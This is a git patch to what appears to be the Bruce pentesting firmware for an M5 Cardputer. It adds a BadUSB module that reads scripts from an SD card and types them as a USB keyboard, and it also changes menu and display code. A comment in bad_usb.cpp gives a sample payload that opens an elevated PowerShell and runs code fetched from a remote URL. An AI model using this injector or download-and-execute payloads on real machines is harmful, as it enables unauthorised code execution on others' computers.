From a4719cfb0ee2cd8b238d081e29f2ab9498a205aa Mon Sep 17 00:00:00 2001 From: Pirata <104320209+bmorcelli@users.noreply.github.com> Date: Mon, 6 May 2024 05:35:47 -0300 Subject: [PATCH] Add files via upload --- src/bad_usb.cpp | 323 +++++++++++++++++++++++++++++++++++++++++++ src/bad_usb.h | 17 +++ src/display.cpp | 61 +++++--- src/display.h | 6 +- src/globals.cpp | 26 ++++ src/globals.h | 10 +- src/main.cpp | 28 ++-- src/sd_functions.cpp | 4 - src/settings.cpp | 1 + 9 files changed, 439 insertions(+), 37 deletions(-) create mode 100644 src/bad_usb.cpp create mode 100644 src/bad_usb.h create mode 100644 src/globals.cpp diff --git a/src/bad_usb.cpp b/src/bad_usb.cpp new file mode 100644 index 000000000..1bfcfb2ff --- /dev/null +++ b/src/bad_usb.cpp @@ -0,0 +1,323 @@ +#ifdef CARDPUTER +#include "bad_usb.h" +#include "globals.h" +#include "sd_functions.h" +#include "display.h" +#include "mykeyboard.h" + +USBHIDKeyboard Kb; + + +//#include +//BleKeyboard bleKeyboard; +// + +#define KEY_PAUSE 0xD0 +#define KEY_PRINT_SCREEN 0xCE +#define KEY_MENU 0xED +#define KEY_SCROLL_LOCK 0xCF + + +#define DEF_DELAY 100 + +bool needALCOLORraw = true; + + + + + +/* Example of payload file + +REM Author: UNC0V3R3D +REM Description: Uses powershell to rotate the monitor by 90 degrees. +REM Version: 1.0 +REM Category: FUN +DELAY 800 +GUI r +DELAY 800 +STRING powershell Start-Process powershell -Verb runAs +DELAY 800 +ENTER +DELAY 800 +LEFTARROW +DELAY 800 +ENTER +DELAY 500 +STRING Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/UNC0V3R3D/resources/main/monitor_rotation.ps1").Content + + +*/ + +void key_input(String bad_script) { + delay(1000); + + if (SD.exists(bad_script) && bad_script!="") { + File payloadFile = SD.open(bad_script, "r"); + if (payloadFile) { + tft.setCursor(0, 40); + tft.println("from file!"); + String lineContent = ""; + String Command = ""; + char Cmd[15]; + String Argument = ""; + String RepeatTmp = ""; + char ArgChar; + bool ArgIsCmd; // Verifies if the Argument is DELETE, TAB or F1-F12 + int cmdFail; // Verifies if the command is supported, mus pass through 2 if else statemens and summ 2 to not be supported + int line; // Shows 3 commands of the payload on screen to follow the execution + + + Kb.releaseAll(); + tft.setTextSize(1); + tft.setCursor(0, 0); + tft.fillScreen(BGCOLOR); + line = 0; + + while (payloadFile.available()) { + lineContent = payloadFile.readStringUntil('\n'); // O CRLF é uma combinação de dois caracteres de controle: o “Carriage Return” (retorno de carro) representado pelo caractere “\r” e o “Line Feed” (avanço de linha) representado pelo caractere “\n”. + if (lineContent.endsWith("\r")) lineContent.remove(lineContent.length() - 1); + + ArgIsCmd = false; + cmdFail = 0; + RepeatTmp = lineContent.substring(0, lineContent.indexOf(' ')); + RepeatTmp = RepeatTmp.c_str(); + if (RepeatTmp == "REPEAT") { + if (lineContent.indexOf(' ') > 0) { + RepeatTmp = lineContent.substring(lineContent.indexOf(' ') + 1); // how many times it will repeat, using .toInt() conversion; + if (RepeatTmp.toInt() == 0) { + RepeatTmp = "1"; + tft.setTextColor(ALCOLOR); + tft.println("REPEAT argument NaN, repeating once"); + } + } else { + RepeatTmp = "1"; + tft.setTextColor(ALCOLOR); + tft.println("REPEAT without argument, repeating once"); + } + } else { + Command = lineContent.substring(0, lineContent.indexOf(' ')); // get the Command + strcpy(Cmd, Command.c_str()); // get the cmd + Argument = lineContent.substring(lineContent.indexOf(' ') + 1); // get the argument + RepeatTmp = "1"; + } + uint16_t i; + for (i = 0; i < RepeatTmp.toInt(); i++) { + char OldCmd[15]; + //Command = char(Command.c_str()); + Argument = Argument.c_str(); + ArgChar = Argument.charAt(0); + + if (Argument == "F1" || Argument == "F2" || Argument == "F3" || Argument == "F4" || Argument == "F5" || Argument == "F6" || Argument == "F7" || Argument == "F8" || Argument == "F9" || Argument == "F10" || Argument == "F11" || Argument == "F2" || Argument == "DELETE" || Argument == "TAB") { ArgIsCmd = true; } + + if (strcmp(Cmd, "REM") == 0) { Serial.println(" // " + Argument); } else { cmdFail++; } + if (strcmp(Cmd, "DELAY") == 0) delay(Argument.toInt()); else { cmdFail++; } + if (strcmp(Cmd, "DEFAULTDELAY") == 0 || strcmp(Cmd, "DEFAULT_DELAY") == 0) delay(DEF_DELAY); else { cmdFail++; } //100ms + if (strcmp(Cmd, "STRING") == 0) Kb.print(Argument); else { cmdFail++; } + if (strcmp(Cmd, "STRINGLN") == 0) Kb.println(Argument); else { cmdFail++; } + if (strcmp(Cmd, "ENTER") == 0) { Kb.press(KEY_RETURN); Kb.releaseAll(); } else { cmdFail++; } + if (strcmp(Cmd, "SHIFT") == 0) { Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} // Save Cmd into OldCmd and then set Cmd = Argument + if (strcmp(Cmd, "ALT") == 0) { Kb.press(KEY_LEFT_ALT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} // This is made to turn the code faster and to recover + if (strcmp(Cmd, "CTRL-ALT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} // the Cmd after the if else statements, in order to + if (strcmp(Cmd, "CTRL-SHIFT") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} // the Cmd REPEAT work as intended. + if (strcmp(Cmd, "ALT-SHIFT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} + if (strcmp(Cmd, "ALT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} + if (strcmp(Cmd, "GUI-SHIFT") == 0) { Kb.press(KEY_LEFT_GUI); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} + if (strcmp(Cmd, "GUI") == 0 || strcmp(Cmd, "WINDOWS") == 0) { Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} + if (strcmp(Cmd, "CTRL") == 0 || strcmp(Cmd, "CONTROL") == 0) { Kb.press(KEY_LEFT_CTRL); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} + if (strcmp(Cmd, "ESC") == 0 || strcmp(Cmd, "ESCAPE") == 0) {Kb.press(KEY_ESC);Kb.releaseAll(); } else { cmdFail++;} + if (strcmp(Cmd, "DOWNARROW") == 0) { Kb.press(KEY_DOWN_ARROW); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "DOWN") == 0) { Kb.press(KEY_DOWN_ARROW); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "LEFTARROW") == 0) { Kb.press(KEY_LEFT_ARROW); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "LEFT") == 0) { Kb.press(KEY_LEFT_ARROW); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "RIGHTARROW") == 0) { Kb.press(KEY_RIGHT_ARROW);Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "RIGHT") == 0) { Kb.press(KEY_RIGHT_ARROW);Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "UPARROW") == 0) { Kb.press(KEY_UP_ARROW); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "UP") == 0) { Kb.press(KEY_UP_ARROW); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "BREAK") == 0) { Kb.press(KEY_PAUSE); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "CAPSLOCK") == 0) { Kb.press(KEY_CAPS_LOCK); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "PAUSE") == 0) { Kb.press(KEY_PAUSE); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "BACKSPACE") == 0) { Kb.press(KEY_BACKSPACE); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "END") == 0) { Kb.press(KEY_END); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "HOME") == 0) { Kb.press(KEY_HOME); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "INSERT") == 0) { Kb.press(KEY_INSERT); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "NUMLOCK") == 0) { Kb.press(LED_NUMLOCK); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "PAGEUP") == 0) { Kb.press(KEY_PAGE_UP); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "PAGEDOWN") == 0) { Kb.press(KEY_PAGE_DOWN); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "PRINTSCREEN") == 0) { Kb.press(KEY_PRINT_SCREEN);Kb.releaseAll();}else { cmdFail++;} + if (strcmp(Cmd, "SCROLLOCK") == 0) { Kb.press(KEY_SCROLL_LOCK);Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "MENU") == 0) { Kb.press(KEY_MENU); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F1") == 0) { Kb.press(KEY_F1); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F2") == 0) { Kb.press(KEY_F2); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F3") == 0) { Kb.press(KEY_F3); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F4") == 0) { Kb.press(KEY_F4); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F5") == 0) { Kb.press(KEY_F5); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F6") == 0) { Kb.press(KEY_F6); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F7") == 0) { Kb.press(KEY_F7); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F8") == 0) { Kb.press(KEY_F8); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F9") == 0) { Kb.press(KEY_F9); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F10") == 0) { Kb.press(KEY_F10); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F11") == 0) { Kb.press(KEY_F11); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "F12") == 0) { Kb.press(KEY_F12); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "TAB") == 0) { Kb.press(KEY_TAB); Kb.releaseAll();} else { cmdFail++;} + if (strcmp(Cmd, "DELETE") == 0) { Kb.press(KEY_DELETE); Kb.releaseAll();} else { cmdFail++;} + + + if (ArgIsCmd) strcpy(Cmd, OldCmd); // Recover the command to run in case of REPEAT + + //else if(strcmp(Command, "SPACE") ==0) Kb.press(" "); //Supported on Flipper but not here, yet + //else if(strcmp(Command, "APP") ==0) Kb.press(APP); //Supported on Flipper but not here, yet + //else if(strcmp(Command, "SYSRQ") ==0) Kb.press(SYSRQ); //Supported on Flipper but not here, yet + Kb.releaseAll(); + + if (line == 7) { + tft.setCursor(0, 0); + tft.fillScreen(BGCOLOR); + line = 0; + } + line++; + + if (cmdFail == 51) { + tft.setTextColor(ALCOLOR); + tft.print(Command); + tft.println(" -> Not Supported, running as STRINGLN"); + if (Command != Argument) { + Kb.print(Command); + Kb.print(" "); + Kb.println(Argument); + } else { + Kb.println(Command); + } + } else { + tft.setTextColor(FGCOLOR); + tft.println(Command); + } + tft.setTextColor(TFT_WHITE); + tft.println(Argument); + + if (strcmp(Cmd, "REM") != 0) delay(DEF_DELAY); //if command is not a comment, wait DEF_DELAY until next command (100ms) + } + } + tft.setTextSize(FM); + payloadFile.close(); + Serial.println("Finished badusb payload execution..."); + } + } else { + // rick + Serial.println("rick"); + tft.setCursor(0, 40); + tft.println("rick"); + Kb.press(KEY_LEFT_GUI); + Kb.press('r'); + Kb.releaseAll(); + delay(1000); + Kb.print("https://www.youtube.com/watch?v=dQw4w9WgXcQ"); + Kb.press(KEY_RETURN); + Kb.releaseAll(); + } + + delay(1000); + Kb.releaseAll(); +} + + +void usb_setup() { + Serial.println("BadUSB begin"); + tft.fillScreen(BGCOLOR); + tft.setTextColor(FGCOLOR, BGCOLOR); + tft.setCursor(0, 0); + int rot = 3; + int tftfileCount = 8; + String bad_script = ""; + + bad_script = "/badpayload.txt"; + bad_script = loopSD(true); + + + tft.setTextSize(FM); + tft.fillScreen(BGCOLOR); + tft.setCursor(0, 0); + tft.println("Sending..."); + + Kb.begin(); + USB.begin(); + + delay(2000); + key_input(bad_script); + tft.setCursor(0, 0); + displayRedStripe("Payload Sent",TFT_WHITE, FGCOLOR); + checkSelPress(); + while (!checkSelPress()) { + // nothing here, just to hold the screen press Ok of M5. + } + returnToMenu=true; + +} + +void usb_loop() { +} + +/* + +Now cardputer works as a USB Keyboard! + +Keyboard functions +Created by: edulk2, thankss + + + +void keyboard_setup() { + tft.fillScreen(BGCOLOR); + tft.setRotation(1); + tft.setTextColor(FGCOLOR); + tft.setTextDatum(MC_DATUM); + tft.setTextSize(2); + tft.drawString("Keyboard Started", + tft.width() / 2, + tft.height() / 2); + Kb.begin(); + USB.begin(); + tft.setTextColor(FGCOLOR, BGCOLOR); +} + +void keyboard_loop() { + M5Cardputer.update(); + if (M5Cardputer.Keyboard.isChange()) { + if (M5Cardputer.Keyboard.isPressed()) { + Keyboard_Class::KeysState status = M5Cardputer.Keyboard.keysState(); + + KeyReport report = { 0 }; + report.modifiers = status.modifiers; + uint8_t index = 0; + for (auto i : status.hid_keys) { + report.keys[index] = i; + index++; + if (index > 5) { + index = 5; + } + } + Kb.sendReport(&report); + Kb.releaseAll(); + + // only text for tftlay + String keyStr = ""; + for (auto i : status.word) { + if (keyStr != "") { + keyStr = keyStr + "+" + i; + } else { + keyStr += i; + } + } + + if (keyStr.length() > 0) { + tft.clear(); + tft.drawString("Pressed: " + keyStr, + tft.width() / 2, + tft.height() / 2); + } + } + } +} +*/ + + +#endif \ No newline at end of file diff --git a/src/bad_usb.h b/src/bad_usb.h new file mode 100644 index 000000000..b31fe15b4 --- /dev/null +++ b/src/bad_usb.h @@ -0,0 +1,17 @@ +#ifdef CARDPUTER + +#include +#include +#include +#include + +// For some reason, StickC and P and P2 dont recognize the following library... may be it need to use EspTinyUSB lib.... need studies +#include + +void key_input(String bad_script = "/badpayload.txt"); + +void usb_setup(); + + + +#endif \ No newline at end of file diff --git a/src/display.cpp b/src/display.cpp index 2bb50c5f9..dca067506 100644 --- a/src/display.cpp +++ b/src/display.cpp @@ -93,22 +93,22 @@ void initDisplay() { ** Function name: displayRedStripe ** Description: Display Red Stripe with information ***************************************************************************************/ -void displayRedStripe(String text) { +void displayRedStripe(String text, uint16_t fgcolor, uint16_t bgcolor) { #ifndef STICK_C int size; if(text.length()<19) size = FM; else size = FP; - tft.fillRect(10, 55, WIDTH - 20, 26, ALCOLOR); - if(size==2) setTftDisplay(WIDTH/2 - FM*3*text.length(), 60, TFT_WHITE, size, ALCOLOR); - else setTftDisplay(WIDTH/2 - FP*3*text.length(), 65, TFT_WHITE, size, ALCOLOR); + tft.fillRect(10, 55, WIDTH - 20, 26, bgcolor); + if(size==2) setTftDisplay(WIDTH/2 - FM*3*text.length(), 60, fgcolor, size, bgcolor); + else setTftDisplay(WIDTH/2 - FP*3*text.length(), 65, fgcolor, size, bgcolor); tft.println(text); #else int size; if(text.length()<20) size = FM; else size = FP; - tft.fillRect(10, 5, WIDTH - 20, 20, ALCOLOR); - if(size==2) setTftDisplay(WIDTH/2 - FM*3*text.length(), 7, TFT_WHITE, size, ALCOLOR); - else setTftDisplay(WIDTH/2 - FP*3*text.length(), 7, TFT_WHITE, size, ALCOLOR); + tft.fillRect(10, 5, WIDTH - 20, 20, bgcolor); + if(size==2) setTftDisplay(WIDTH/2 - FM*3*text.length(), 7, fgcolor, size, bgcolor); + else setTftDisplay(WIDTH/2 - FP*3*text.length(), 7, fgcolor, size, bgcolor); tft.println(text); #endif @@ -331,8 +331,7 @@ void drawMainMenu(int index) { sprite.createSprite(WIDTH - 20, HEIGHT - 20); sprite.fillRect(0, 0, WIDTH, HEIGHT, BGCOLOR); setSpriteDisplay(2, 2, FGCOLOR, 1, BGCOLOR); - sprite.print("hh:mm"); - if(wifiConnected) sprite.drawCentreString("(WiFi On)",sprite.width()/2,2,SMOOTH_FONT); + sprite.print("BRUCE 1.0b"); sprite.setTextSize(FG); switch(index) { @@ -363,8 +362,13 @@ void drawMainMenu(int index) { sprite.pushSprite(10,10); draw.pushSprite(80,27); + int i=0; + if(wifiConnected) { drawWifiSmall(WIDTH - 90, 7); i++;} + //if(wifiConnected) drawBLESmall(WIDTH - 90 -17*i, 7); + if(BLEConnected) drawBLESmall(WIDTH - 45 -24 -20*i, 7); + tft.drawRoundRect(5, 5, WIDTH - 10, HEIGHT - 10, 5, FGCOLOR); - tft.drawLine(5, 25, WIDTH - 5, 25, FGCOLOR); + tft.drawLine(5, 25, WIDTH - 6, 25, FGCOLOR); drawBatteryStatus(); } @@ -413,14 +417,14 @@ int getBattery() { ** Description: Delivers the battery value from 1-100 ***************************************************************************************/ void drawBatteryStatus() { - tft.drawRoundRect(WIDTH - 42, 7, 34, 14, 2, FGCOLOR); + tft.drawRoundRect(WIDTH - 42, 7, 34, 17, 2, FGCOLOR); int bat = getBattery(); tft.setTextSize(FP); tft.setTextColor(FGCOLOR, BGCOLOR); - tft.drawRightString(String(bat) + "%", WIDTH - 45, 10, 1); - tft.fillRoundRect(WIDTH - 40, 9, 30 * bat / 100, 10, 2, FGCOLOR); - tft.drawLine(WIDTH - 30, 9, WIDTH - 30, 9 + 10, BGCOLOR); - tft.drawLine(WIDTH - 20, 9, WIDTH - 20, 9 + 10, BGCOLOR); + tft.drawRightString(String(bat) + "%", WIDTH - 45, 12, 1); + tft.fillRoundRect(WIDTH - 40, 9, 30 * bat / 100, 13, 2, FGCOLOR); + tft.drawLine(WIDTH - 30, 9, WIDTH - 30, 9 + 13, BGCOLOR); + tft.drawLine(WIDTH - 20, 9, WIDTH - 20, 9 + 13, BGCOLOR); } @@ -478,11 +482,18 @@ void displayScanning() { - - - // desenhos do menu principal, sprite "draw" com 80x80 pixels +void drawWifiSmall(int x, int y) { + draw.deleteSprite(); + draw.createSprite(17,17); + draw.fillSprite(BGCOLOR); + draw.fillCircle(9,14,2,FGCOLOR); + draw.drawSmoothArc(9,14,5,7,130,230,FGCOLOR, BGCOLOR,true); + draw.drawSmoothArc(9,14,11,13,130,230,FGCOLOR, BGCOLOR,true); + draw.pushSprite(x,y); + draw.deleteSprite(); +} void drawWifi() { draw.fillSprite(BGCOLOR); @@ -491,6 +502,20 @@ void drawWifi() { draw.drawSmoothArc(40,60,46,40,130,230,FGCOLOR, BGCOLOR,true); } +void drawBLESmall(int x, int y) { + draw.deleteSprite(); + draw.createSprite(17,17); + draw.fillSprite(BGCOLOR); + + draw.drawWideLine(8, 8, 4, 5, 2, FGCOLOR,BGCOLOR); + draw.drawWideLine(8, 8, 4, 13,2, FGCOLOR,BGCOLOR); + draw.drawTriangle(8, 8, 8, 0,13,4,FGCOLOR); + draw.drawTriangle(8, 8, 8,16,13,12,FGCOLOR); + + draw.pushSprite(x,y); + draw.deleteSprite(); +} + void drawBLE() { draw.fillSprite(BGCOLOR); draw.drawWideLine(40,53,2,26,5,FGCOLOR,BGCOLOR); diff --git a/src/display.h b/src/display.h index 1b4b5b372..3e206fe3d 100644 --- a/src/display.h +++ b/src/display.h @@ -13,7 +13,7 @@ void setTftDisplay(int x = 0, int y = 0, uint16_t fc = tft.textcolor, int size = void resetSpriteDisplay(int x = 0, int y = 0, uint16_t fc = FGCOLOR, int size = FM, uint16_t bg = BGCOLOR, uint16_t screen = BGCOLOR); void setSpriteDisplay(int x = 0, int y = 0, uint16_t fc = sprite.textcolor, int size = sprite.textsize, uint16_t bg = sprite.textbgcolor); -void displayRedStripe(String text); +void displayRedStripe(String text, uint16_t fgcolor = TFT_WHITE, uint16_t bfcolor = TFT_RED); void loopOptions(const std::vector>>& options, bool bright = false, bool submenu = false, String subText = ""); @@ -33,8 +33,12 @@ int getBattery(); void drawBatteryStatus(); +void drawWifiSmall(int x, int y); + void drawWifi(); +void drawBLESmall(int x, int y); + void drawBLE(); void drawRf(); diff --git a/src/globals.cpp b/src/globals.cpp new file mode 100644 index 000000000..1a0ee4ae7 --- /dev/null +++ b/src/globals.cpp @@ -0,0 +1,26 @@ +#include "globals.h" + + +/********************************************************************* +** Function: backToMenu +** sets the global var to be be used in the options second parameter +** and returnToMenu will be user do handle the breaks of all loops + +when using loopfunctions with an option to "Back to Menu", use: + +add this option: + options.push_back({"Main Menu", [=]() { backToMenu(); }}); + +while(1) { + if(returnToMenu) break; // stop this loop and return to the previous loop + + ... + loopOptions(options); + ... +} + + +**********************************************************************/ +void backToMenu() { + returnToMenu=true; +} diff --git a/src/globals.h b/src/globals.h index 4bd52a2ee..c0db7400a 100644 --- a/src/globals.h +++ b/src/globals.h @@ -30,7 +30,9 @@ extern int prog_handler; // 0 - Flash, 1 - SPIFFS, 2 - Download extern bool sdcardMounted; // informa se o cartão está montado ou não, sem precisar chamar a função setupSdCard -extern bool wifiConnected; // informa se o cartão está montado ou não, sem precisar chamar a função setupSdCard +extern bool wifiConnected; // informa se o wifi está ativo ou não + +extern bool BLEConnected; // informa se o BLE está ativo ou não extern std::vector>> options; @@ -48,10 +50,6 @@ extern const int bufSize; extern bool returnToMenu; // variável para verificação e quebrar os loops +void backToMenu(); -/********************************************************************* -** Function: backToMenu -** sets the global var to be be used in the options second parameter -** and returnToMenu will be user do handle the breaks of all loops -**********************************************************************/ diff --git a/src/main.cpp b/src/main.cpp index bad7aa870..7a1b6660d 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -11,6 +11,7 @@ int prog_handler; // 0 - Flash, 1 - SPIFFS, 3 - Download int rotation; bool sdcardMounted; bool wifiConnected; +bool BLEConnected; bool returnToMenu; String ssid; String pwd; @@ -38,6 +39,10 @@ TFT_eSprite draw = TFT_eSprite(&tft); #include "dpwo.h" #include "wg.h" +#ifdef CARDPUTER +#include "bad_usb.h" +#endif + /********************************************************************* ** Function: setup @@ -50,6 +55,7 @@ void setup() { prog_handler=0; sdcardMounted=false; wifiConnected=false; + BLEConnected=false; // Setup GPIOs and stuff #if defined(STICK_C_PLUS2) @@ -115,7 +121,11 @@ void loop() { tft.fillRect(0,0,WIDTH,HEIGHT,BGCOLOR); if(!setupSdCard()) index=1; //if SD card is not present, paint SD square grey and auto select OTA while(1){ - returnToMenu = false; + if(returnToMenu) { + returnToMenu = false; + tft.fillScreen(BGCOLOR); //fix any problem with the mainMenu screen when coming back from submenus or functions + redraw=true; + } if (redraw) { drawMainMenu(index); @@ -157,7 +167,7 @@ void loop() { options.push_back({"Evil Portal", [=]() { displayRedStripe("Evil Portal"); }}); options.push_back({"ARP Scan", [=]() { displayRedStripe("ARP Scan"); }}); options.push_back({"Wireguard Tun", [=]() { wg_setup(); }}); - options.push_back({"Main Menu", [=]() { displayRedStripe("Main Menu"); }}); + options.push_back({"Main Menu", [=]() { backToMenu(); }}); delay(200); loopOptions(options,false,true,"WiFi"); // delay(1000); // remover depois, está aqui só por causa do "displayRedStripe" @@ -169,7 +179,7 @@ void loop() { {"Android Spam", [=]() { displayRedStripe("Android Spam"); }}, {"SourApple", [=]() { displayRedStripe("SourApple"); }}, {"BT Maelstrom", [=]() { displayRedStripe("BT Maelstrom"); }}, - {"Main Menu", [=]() { displayRedStripe("Main Menu"); }}, + {"Main Menu", [=]() { backToMenu(); }}, }; delay(200); loopOptions(options,false,true,"Bluetooth"); @@ -180,7 +190,7 @@ void loop() { {"Scan/copy", [=]() { displayRedStripe("Scan/copy"); }}, {"Replay", [=]() { displayRedStripe("Replay"); }}, {"Spectrum", [=]() { displayRedStripe("Spectrum"); }}, - {"Main Menu", [=]() { displayRedStripe("Main Menu"); }}, + {"Main Menu", [=]() { backToMenu(); }}, }; delay(200); loopOptions(options,false,true,"Radio Frequency"); @@ -190,7 +200,7 @@ void loop() { options = { {"Scan/copy", [=]() { displayRedStripe("Scan/copy"); }}, {"Replay", [=]() { displayRedStripe("Replay"); }}, - {"Main Menu", [=]() { displayRedStripe("Main Menu"); }}, + {"Main Menu", [=]() { backToMenu(); }}, }; delay(200); loopOptions(options,false,true,"RFID"); @@ -199,11 +209,13 @@ void loop() { case 4: //Other options = { {"InfraRed", [=]() { displayRedStripe("InfraRed"); }}, - {"BadUSB", [=]() { displayRedStripe("BadUSB"); }}, {"SD Card", [=]() { loopSD(); }}, {"WebUI", [=]() { loopOptionsWebUi(); }}, - {"Main Menu", [=]() { displayRedStripe("Main Menu"); }}, }; + #ifdef CARDPUTER + options.push_back({"BadUSB", [=]() { usb_setup(); }}); + #endif + options.push_back({"Main Menu", [=]() { backToMenu(); }}); delay(200); loopOptions(options,false,true,"Others"); delay(1000); // remover depois, está aqui só por causa do "displayRedStripe" @@ -212,7 +224,7 @@ void loop() { options = { {"Brightness", [=]() { setBrightnessMenu(); }}, //settings.h {"Orientation", [=]() { gsetRotation(true); }}, //settings.h - {"Main Menu", [=]() { displayRedStripe("Main Menu"); }}, + {"Main Menu", [=]() { backToMenu(); }}, {"Restart", [=]() { ESP.restart(); }}, }; delay(200); diff --git a/src/sd_functions.cpp b/src/sd_functions.cpp index 870844e4e..306a17899 100644 --- a/src/sd_functions.cpp +++ b/src/sd_functions.cpp @@ -8,10 +8,6 @@ String fileToCopy; String fileList[MAXFILES][3]; -void backToMenu() { - returnToMenu=true; -} - /*************************************************************************************** ** Function name: setupSdCard ** Description: Start SD Card diff --git a/src/settings.cpp b/src/settings.cpp index f5af86e6c..15ab7dab2 100644 --- a/src/settings.cpp +++ b/src/settings.cpp @@ -75,6 +75,7 @@ int gsetRotation(bool set){ EEPROM.commit(); } EEPROM.end(); // Free EEPROM memory + returnToMenu=true; return result; }